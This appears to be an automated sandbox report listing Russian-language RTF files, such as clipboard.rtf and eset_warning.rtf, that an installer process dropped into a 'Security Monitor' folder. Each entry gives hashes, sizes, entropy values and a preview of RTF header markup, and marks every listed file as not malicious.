Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36808
Entropy (8bit):	5.0329736161419865
Encrypted:	false
SSDEEP:	768:q4eM4jXTicPI0QhhiLVFBbRTRYDOuJLrEZLZ/6A9i:q4UyUnVIA9i
MD5:	F9230F9C9FA57AB35625AD7DFD1D21A1
SHA1:	27AAAF7B861E3C1A0D017377E0F59801E143D59C
SHA-256:	85125B0682653CE7A5E9569F8480A87F5A3F1D3978B47A3C1AAD5FE80401D7CB
SHA-512:	A8FB380CD3DB166ECF2174097158B4261020E8AB376A2B6180958BC615CEF3F7CFBC4D4D437ADC454801FC9193E80A94B56C54B4CB2CAF4485043F34B132F99C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61781
Entropy (8bit):	4.857520301127485
Encrypted:	false
SSDEEP:	768:2aTIM0LDyaeOsDvEpd1rTmMYm7JRFOtf1SPuJtxLs2coKPvZZ0Z/6A97:2asMQwPIA97
MD5:	78E67BA68FD674E528877B2C4ED0EA13
SHA1:	2393978ADD7BA637E654A9FDB1815BB2D4000BE2
SHA-256:	E023BDA87BC91024BDF8117E2E8FD19628ED0006DF399033A1FDF0A261CD90F8
SHA-512:	D3306182B95C93CB4DDDD7219239F8F927EDD1BF5F3134B89E19637760B8E3F051EBA9ED8EC193CA31D04FDFF2FD75AF6A3F119C357E244DCD7DB151B8061753
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 0202060305040502

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\eset_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43270
Entropy (8bit):	5.005983710564955
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akJOc7jgskl7rVGGH249LYeoYGEovrMoQJhYNgDPsKknWeo7L:2aFk9Oc7cskl/VGGW+2/Z/6A92
MD5:	4AF18EE9439DF76D12E065E6AA400E6F
SHA1:	B9B939259BD0012DDF6A025199CB670F7B3C0CCE
SHA-256:	DF734E3254D106D22C2C57D81E1C8BA28DAB721488DBB48930516B94948A19DF
SHA-512:	80534BA7923F78792211AF00922D7B9E15A4FB25BF1661353BE820690EF3CDED245AC9BC951CF2BC6F48D8B9C5315DDE74DA9FC2CB8BE097ADECC3BE3EA07270
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-0B3MR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42126
Entropy (8bit):	5.024542957132508
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVtwYMgT+h6asH7UlKBGcg5dEmR7iC//+U1zfymCRwFOcEz:q49OUnwIA92
MD5:	08B4567798ABE579F2D14EA033F94E31
SHA1:	28E3F5CB129DB9B3B33E104773609BF86C8A6861
SHA-256:	2EEB8BAA34230B1D075F9E9C59289BC3B1ACDAB08EF0A181A1FB43F6F3F1BD41
SHA-512:	7F8F5598E931CCCBB0F259AFDF369E7A8FDCBBFE1C222EE8B4D5FF16FE502D4F9BDF54799D3C8420FC5903624DCC7E0412197A067FBA3EF82862ECD491C6F312
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-0L4V9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50965
Entropy (8bit):	4.9704278921640555
Encrypted:	false
SSDEEP:	768:2aFkzOc7cskl/VGGAf+E2aiImsQZ/6A91:2aqz+aGIA91
MD5:	B4BB6B054B4A31DE24E87AC030375781
SHA1:	9DFAB2ACC25BA7B468C695E26B953D3E51987121
SHA-256:	B9AB1C6AC6061D9912ACFDF1499C8F4A22D92F950B27BE87BE7B4E0C631EA193
SHA-512:	39CC26F5008F356B8C30551E4B425BCF180662159A308846CD605A5B82E215C63CF5EAEB7A44996E4C39942DDB47FD30AEAF116B671DEA5073E906355244FE2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-0TJQR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	80841
Entropy (8bit):	4.938561816408635
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELz8lH0RvI9uMT98i3w2EH6mlH0RvI96M0+IOq4e4ewuwPkvEaUuuSD8:qqJC08J+nMVIA94
MD5:	22F333AB0A5F3E545899218EE216E751
SHA1:	50AB0BCFD2E86F7FD771C7CB18346AEACF834557
SHA-256:	5C6BC98349F242C511354DE1383E1F4C1D294118E300CF9DD5B0A8C937A17DD0
SHA-512:	2FD3FCFC64C9E870915CE1D8830E0F69031370DA502C4158D212F42FCAFF55BD0CBBFB915AD94A193BB7DEE8426167669FBD87C932BCE4D1591D2784744EFBB5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-16AP3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50749
Entropy (8bit):	5.025992337478631
Encrypted:	false
SSDEEP:	768:qqFywxd/cCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnnbxa10C0O0N0e0x0b0o0g0sq:qq/MlIA9E
MD5:	4091E666BD6CCC6971AE0F510870DB42
SHA1:	E21753F9D29706ECCD6371C10A0CE598C80C64D1
SHA-256:	508DC3EFA99E34F0865225A43C9D2554169D4D9C9D1CE5C1CA4FEB41958DE1B5
SHA-512:	C8FCF769BA2F155F8BAF4A9BF3E5D93377191EE7C02BCF5ED9E8158C10BC82B1AB344B9788D1FE81A73C18B0E2E10F0DD69C2C2400216878FA34EEDAAA824709
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-191EB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42635
Entropy (8bit):	5.046553170453071
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epb/Vbc9DuUoU8Gmgflx6Z5zZ/6A9t:qq4e/DIA9t
MD5:	60B7129A13E0CE865F60703FC49D7E1D
SHA1:	96BDB21054BEE9F42FEF53360847FCE57AE3269B
SHA-256:	C68038C41212344C10D0194438D8BF503F3CAB8ED9AEA1B24E91EF989CC14923
SHA-512:	022BCBD14748D9C947F7B93EAC6D38D59F5BD39DFF22E62E16F1C5EC6FEF50BECA4AADE8CFBF745AF7055CEEB91F3DBB7D42117FADBE7149F627262E9654C66C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-34O0U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38593
Entropy (8bit):	5.02789644916169
Encrypted:	false
SSDEEP:	768:q4e6xdUjOcPI0QhhiLVpUGXnT9bZhdfGjlrqCHy/RKECA13GPkmZ/6A9S:q4L7UnoIA9S
MD5:	030CBC2FE247F98453B82ABC39C3C966
SHA1:	D5F3102D3878F32C5A5FC7AEE0AF3F63DDB74119
SHA-256:	88E89133FC2542C74552BC4AD65320B01F08ED3A1E5269C008A0236BAF0C0893
SHA-512:	86109DEF32876A40F30B9A4D7D5366BE4FA07D62F3019CC269F3F1A7BD68C2C6597BD2341E0CEAC72951D2B8C66DAEBBE46278ECCAE7CC4D54F32FA9C5B833ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-5PE62.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61781
Entropy (8bit):	4.857520301127485
Encrypted:	false
SSDEEP:	768:2aTIM0LDyaeOsDvEpd1rTmMYm7JRFOtf1SPuJtxLs2coKPvZZ0Z/6A97:2asMQwPIA97
MD5:	78E67BA68FD674E528877B2C4ED0EA13
SHA1:	2393978ADD7BA637E654A9FDB1815BB2D4000BE2
SHA-256:	E023BDA87BC91024BDF8117E2E8FD19628ED0006DF399033A1FDF0A261CD90F8
SHA-512:	D3306182B95C93CB4DDDD7219239F8F927EDD1BF5F3134B89E19637760B8E3F051EBA9ED8EC193CA31D04FDFF2FD75AF6A3F119C357E244DCD7DB151B8061753
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 0202060305040502

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-8E5OH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48379
Entropy (8bit):	4.996608771533116
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLV9xB3T7JileOhvbNbZWvsn53NB0DNZGky8OF5x1A58GaQg:q49OUnIIA9p
MD5:	B8EA7A3C55CE02A64BA0AF23B9B85E3E
SHA1:	8DFFB3874BBD2EA54BE1E6D87356126B1E73F290
SHA-256:	792111EFE4C09E3F68D0E2A5344ACC12D63B351BAE5F1654FCC36F2471ED7667
SHA-512:	A8A46F16EC9F8CE3670B171DD90F84F9D1F6CD15FC0428E3DB95ADB4AE302D0A82FF837A9C1DD32EAEEB7D8A58F942DB79461FB5BA36C869CBF4EA7210747007
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-BA6OJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59300
Entropy (8bit):	4.973759890149894
Encrypted:	false
SSDEEP:	768:qqe+2VXLcpErLVYZx1M8j5g5V5V5h5G5P5N5hBcqtqYepAkVZEdvI9TMMf4fPOj/:qqqcshf4fH6IA9h
MD5:	00483C12EB7B2424B5A2C264DBFBAD6F
SHA1:	3038291DC4B40B6C269A24727F175504F09DD532
SHA-256:	BC9B42D7D66A88398A3FFEAB5790818CCB2DF9FA4B24FC8524F86F23930A8ED4
SHA-512:	04B58420762D90E1564AB6635B718FA47CB71795B743CC42FBC7B54B01D6243083C39A99B9A276F9290BC7FC4989AE0970DB35DBDBAAC92E9B80B69FBEC71693
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-EU6TD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42713
Entropy (8bit):	5.047774415882159
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epbPybO9FO0I0cmG8/FRaZHIZ/6A95:qq4ePXIA95
MD5:	FC56B09D7F10AE95E575F472B2CE9AB8
SHA1:	806D290A16EE633A1D79B8D916FE00D508ECD51D
SHA-256:	75B89487ADE95BD0450DA43B8978AB7E37AD22CAA7DEDCB9D599EEA0EE0E8A04
SHA-512:	7B0948BCE8EE5AC36E7C91D3405F041973B6F9A6D316E64454E9E6A3B2A316CF65C03D1CE7041B9DD5FBEA3F94F175138735336D71CA927FB68D66D92413CC2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-JH3LT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43270
Entropy (8bit):	5.005983710564955
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akJOc7jgskl7rVGGH249LYeoYGEovrMoQJhYNgDPsKknWeo7L:2aFk9Oc7cskl/VGGW+2/Z/6A92
MD5:	4AF18EE9439DF76D12E065E6AA400E6F
SHA1:	B9B939259BD0012DDF6A025199CB670F7B3C0CCE
SHA-256:	DF734E3254D106D22C2C57D81E1C8BA28DAB721488DBB48930516B94948A19DF
SHA-512:	80534BA7923F78792211AF00922D7B9E15A4FB25BF1661353BE820690EF3CDED245AC9BC951CF2BC6F48D8B9C5315DDE74DA9FC2CB8BE097ADECC3BE3EA07270
Malicious:	false
Reputation:	unknown
